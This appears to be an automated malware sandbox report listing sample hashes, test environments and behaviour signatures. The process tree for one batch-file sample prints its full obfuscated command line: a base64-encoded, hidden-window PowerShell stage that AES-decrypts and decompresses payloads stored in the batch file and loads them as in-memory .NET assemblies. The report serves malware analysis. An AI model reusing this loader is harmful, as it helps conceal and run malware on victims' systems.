Overview
overview
10Static
static
100490e8427a...c7.elf
ubuntu-18.04-amd64
0490e8427a...c7.elf
debian-9-armhf
0490e8427a...c7.elf
debian-9-mips
0490e8427a...c7.elf
debian-9-mipsel
068428a4ac...26.exe
windows7-x64
1068428a4ac...26.exe
windows10-2004-x64
8087421ac22...94.elf
debian-9-mipsel
100c4791a6b4...ea.elf
debian-12-armhf
10d9bd2ae2e...ea.exe
windows7-x64
70d9bd2ae2e...ea.exe
windows10-2004-x64
70fa00d4f4f...70.dll
windows7-x64
10fa00d4f4f...70.dll
windows10-2004-x64
110de02fec8...d1.bat
windows7-x64
110de02fec8...d1.bat
windows10-2004-x64
81157191701...32.exe
windows7-x64
71157191701...32.exe
windows10-2004-x64
1016e81343ec...a5.exe
windows7-x64
716e81343ec...a5.exe
windows10-2004-x64
717691f0962...b7.elf
debian-12-mipsel
617c24104e8...12.exe
windows7-x64
317c24104e8...12.exe
windows10-2004-x64
31816cd993d...28.exe
windows7-x64
71816cd993d...28.exe
windows10-2004-x64
71b8cda768b...8a.elf
debian-12-armhf
11df6acbc11...b7.elf
ubuntu-18.04-amd64
1df6acbc11...b7.elf
debian-9-armhf
1df6acbc11...b7.elf
debian-9-mips
1df6acbc11...b7.elf
debian-9-mipsel
1e7706ed04...b0.elf
ubuntu-18.04-amd64
1e7706ed04...b0.elf
debian-9-armhf
1e7706ed04...b0.elf
debian-9-mips
1e7706ed04...b0.elf
debian-9-mipsel
Resubmissions
22-04-2024 22:02
240422-1xtwbagh68 1022-04-2024 19:25
240422-x42b7afa68 1019-04-2024 03:02
240419-djmthsfh8w 10Analysis
-
max time kernel
120s -
max time network
132s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
22-04-2024 22:02
Static task
static1
Behavioral task
behavioral1
Sample
0490e8427ac66951389e11dbd990c19cb1ee43102c33935b12db6a4eca7717c7.elf
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral2
Sample
0490e8427ac66951389e11dbd990c19cb1ee43102c33935b12db6a4eca7717c7.elf
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral3
Sample
0490e8427ac66951389e11dbd990c19cb1ee43102c33935b12db6a4eca7717c7.elf
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral4
Sample
0490e8427ac66951389e11dbd990c19cb1ee43102c33935b12db6a4eca7717c7.elf
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral5
Sample
068428a4acb65807251b3b4c0aee2101519fdaebf6db5376863da5add3471f26.exe
Resource
win7-20240221-en
Behavioral task
behavioral6
Sample
068428a4acb65807251b3b4c0aee2101519fdaebf6db5376863da5add3471f26.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral7
Sample
087421ac222e935579dfd3b7a5120451fd9d9a663d3d1872c04b6154b238c894.elf
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral8
Sample
0c4791a6b47491a0c43cea0ba54357e391a3c8b23aa28025489bbe43bb9ea6ea.elf
Resource
debian12-armhf-20240221-en
Behavioral task
behavioral9
Sample
0d9bd2ae2e4b023047b6c08684e9e5daae76e31cced4c3fdf4640136245f7eea.exe
Resource
win7-20240221-en
Behavioral task
behavioral10
Sample
0d9bd2ae2e4b023047b6c08684e9e5daae76e31cced4c3fdf4640136245f7eea.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral11
Sample
0fa00d4f4f8e8449883aef7f0459a0fb754d57d55af2b41f5e445f867000fa70.dll
Resource
win7-20231129-en
Behavioral task
behavioral12
Sample
0fa00d4f4f8e8449883aef7f0459a0fb754d57d55af2b41f5e445f867000fa70.dll
Resource
win10v2004-20240412-en
Behavioral task
behavioral13
Sample
10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat
Resource
win7-20240221-en
Behavioral task
behavioral14
Sample
10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat
Resource
win10v2004-20240226-en
Behavioral task
behavioral15
Sample
11571917015adbf3b5196509e1082c8d415f011cce88bd8b16e9d9c5a39ac432.exe
Resource
win7-20240221-en
Behavioral task
behavioral16
Sample
11571917015adbf3b5196509e1082c8d415f011cce88bd8b16e9d9c5a39ac432.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral17
Sample
16e81343ecea6082d76bf1ab26818c3bf56929c92468fae8837c6384b62d05a5.exe
Resource
win7-20231129-en
Behavioral task
behavioral18
Sample
16e81343ecea6082d76bf1ab26818c3bf56929c92468fae8837c6384b62d05a5.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral19
Sample
17691f0962027e7110f727ae997f8af5885dd783674d1db023d467ec478515b7.elf
Resource
debian12-mipsel-20240221-en
Behavioral task
behavioral20
Sample
17c24104e8e5350eeb7e2a162dec3f6a4d6c70f3f0849e6346fd383d998dcc12.exe
Resource
win7-20240221-en
Behavioral task
behavioral21
Sample
17c24104e8e5350eeb7e2a162dec3f6a4d6c70f3f0849e6346fd383d998dcc12.exe
Resource
win10v2004-20240226-en
Behavioral task
behavioral22
Sample
1816cd993ddda970b791b090e6ecb501ef923bdcc0cc5f4a99e18dcdb7093228.exe
Resource
win7-20240221-en
Behavioral task
behavioral23
Sample
1816cd993ddda970b791b090e6ecb501ef923bdcc0cc5f4a99e18dcdb7093228.exe
Resource
win10v2004-20240412-en
Behavioral task
behavioral24
Sample
1b8cda768ba75d723b2b0b34cf955f7ec9469b4e33c6fde6494eefd60a139d8a.elf
Resource
debian12-armhf-20240221-en
Behavioral task
behavioral25
Sample
1df6acbc1106e17265fde3ab54b2a83fa8f6f39656d7c55481b2dbd66f1114b7.elf
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral26
Sample
1df6acbc1106e17265fde3ab54b2a83fa8f6f39656d7c55481b2dbd66f1114b7.elf
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral27
Sample
1df6acbc1106e17265fde3ab54b2a83fa8f6f39656d7c55481b2dbd66f1114b7.elf
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral28
Sample
1df6acbc1106e17265fde3ab54b2a83fa8f6f39656d7c55481b2dbd66f1114b7.elf
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral29
Sample
1e7706ed0492572474cd866f13778cc66c42b614b3d0b1d9af35727c051a50b0.elf
Resource
ubuntu1804-amd64-20240226-en
Behavioral task
behavioral30
Sample
1e7706ed0492572474cd866f13778cc66c42b614b3d0b1d9af35727c051a50b0.elf
Resource
debian9-armhf-20240226-en
Behavioral task
behavioral31
Sample
1e7706ed0492572474cd866f13778cc66c42b614b3d0b1d9af35727c051a50b0.elf
Resource
debian9-mipsbe-20240226-en
Behavioral task
behavioral32
Sample
1e7706ed0492572474cd866f13778cc66c42b614b3d0b1d9af35727c051a50b0.elf
Resource
debian9-mipsel-20240226-en
General
-
Target
10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat
-
Size
1.1MB
-
MD5
4030841f8cd4b3ac37ab0a0b9332f3a5
-
SHA1
6d05584de372399fbadd59a1e6a1eefee90f8725
-
SHA256
10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1
-
SHA512
a8c40c3fa3f7f9ba47eed94a55a2562719073fd568d4aa96a081a46ce150e0b068b453e812eaef3fe15cafae3b66127e23ed4d72669173c8c254ba58d32534c0
-
SSDEEP
24576:+NAwcGqisVN8rXpLOnM+YCftp99Jj9Pgxp1QrKDI:+NKVVsxmt9j
Malware Config
Signatures
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2612 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2612 powershell.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
cmd.execmd.exedescription pid process target process PID 2248 wrote to memory of 2956 2248 cmd.exe cmd.exe PID 2248 wrote to memory of 2956 2248 cmd.exe cmd.exe PID 2248 wrote to memory of 2956 2248 cmd.exe cmd.exe PID 2248 wrote to memory of 2728 2248 cmd.exe cmd.exe PID 2248 wrote to memory of 2728 2248 cmd.exe cmd.exe PID 2248 wrote to memory of 2728 2248 cmd.exe cmd.exe PID 2728 wrote to memory of 3064 2728 cmd.exe cmd.exe PID 2728 wrote to memory of 3064 2728 cmd.exe cmd.exe PID 2728 wrote to memory of 3064 2728 cmd.exe cmd.exe PID 2728 wrote to memory of 2440 2728 cmd.exe cmd.exe PID 2728 wrote to memory of 2440 2728 cmd.exe cmd.exe PID 2728 wrote to memory of 2440 2728 cmd.exe cmd.exe PID 2728 wrote to memory of 2612 2728 cmd.exe powershell.exe PID 2728 wrote to memory of 2612 2728 cmd.exe powershell.exe PID 2728 wrote to memory of 2612 2728 cmd.exe powershell.exe
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:2248 -
C:\Windows\system32\cmd.execmd /c \"set __=^&rem\2⤵PID:2956
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat2⤵
- Suspicious use of WriteProcessMemory
PID:2728 -
C:\Windows\system32\cmd.execmd /c \"set __=^&rem\3⤵PID:3064
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Local\Temp\10de02fec8ac3edbf1398e6dd43ddec95a89e0499e1e865a7d9e5289fb2b31d1.bat';iex ([Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('cG93ZXJzaGVsbCAtdyBoaWRkZW47ZnVuY3Rpb24ga1JGT2soJERNSmFHKXskUXpwdGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7JFF6cHRlLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzskUXpwdGUuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OyRRenB0ZS5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnRjB3NXFsREI3QUlVTmtQVG5CWTBQeUVod2ppZzM0Zm1wb3I5S2ZqeWtvYz0nKTskUXpwdGUuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnZHJXWWdZV3ptMEhxQjA1ZHpyck1Ddz09Jyk7JGRHR2VBPSRRenB0ZS5DcmVhdGVEZWNyeXB0b3IoKTskT2tGeWU9JGRHR2VBLlRyYW5zZm9ybUZpbmFsQmxvY2soJERNSmFHLDAsJERNSmFHLkxlbmd0aCk7JGRHR2VBLkRpc3Bvc2UoKTskUXpwdGUuRGlzcG9zZSgpOyRPa0Z5ZTt9ZnVuY3Rpb24gbEZOSHYoJERNSmFHKXskUHZ3WXc9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtKCwkRE1KYUcpOyRiYW9EZD1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW07JGxYcUJ3PU5ldy1PYmplY3QgU3lzdGVtLklPLkNvbXByZXNzaW9uLkdaaXBTdHJlYW0oJFB2d1l3LFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTskbFhxQncuQ29weVRvKCRiYW9EZCk7JGxYcUJ3LkRpc3Bvc2UoKTskUHZ3WXcuRGlzcG9zZSgpOyRiYW9EZC5EaXNwb3NlKCk7JGJhb0RkLlRvQXJyYXkoKTt9JHJydUhvPVtTeXN0ZW0uSU8uRmlsZV06OlJlYWRMaW5lcyhbQ29uc29sZV06OlRpdGxlKTskeGJuQW09bEZOSHYgKGtSRk9rIChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoW1N5c3RlbS5MaW5xLkVudW1lcmFibGVdOjpFbGVtZW50QXQoJHJydUhvLCA1KS5TdWJzdHJpbmcoMikpKSk7JE9NU3hJPWxGTkh2IChrUkZPayAoW0NvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKFtTeXN0ZW0uTGlucS5FbnVtZXJhYmxlXTo6RWxlbWVudEF0KCRycnVIbywgNikuU3Vic3RyaW5nKDIpKSkpO1tTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kT01TeEkpLkVudHJ5UG9pbnQuSW52b2tlKCRudWxsLCRudWxsKTtbU3lzdGVtLlJlZmxlY3Rpb24uQXNzZW1ibHldOjpMb2FkKFtieXRlW11dJHhibkFtKS5FbnRyeVBvaW50Lkludm9rZSgkbnVsbCwkbnVsbCk7'))) "3⤵PID:2440
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2612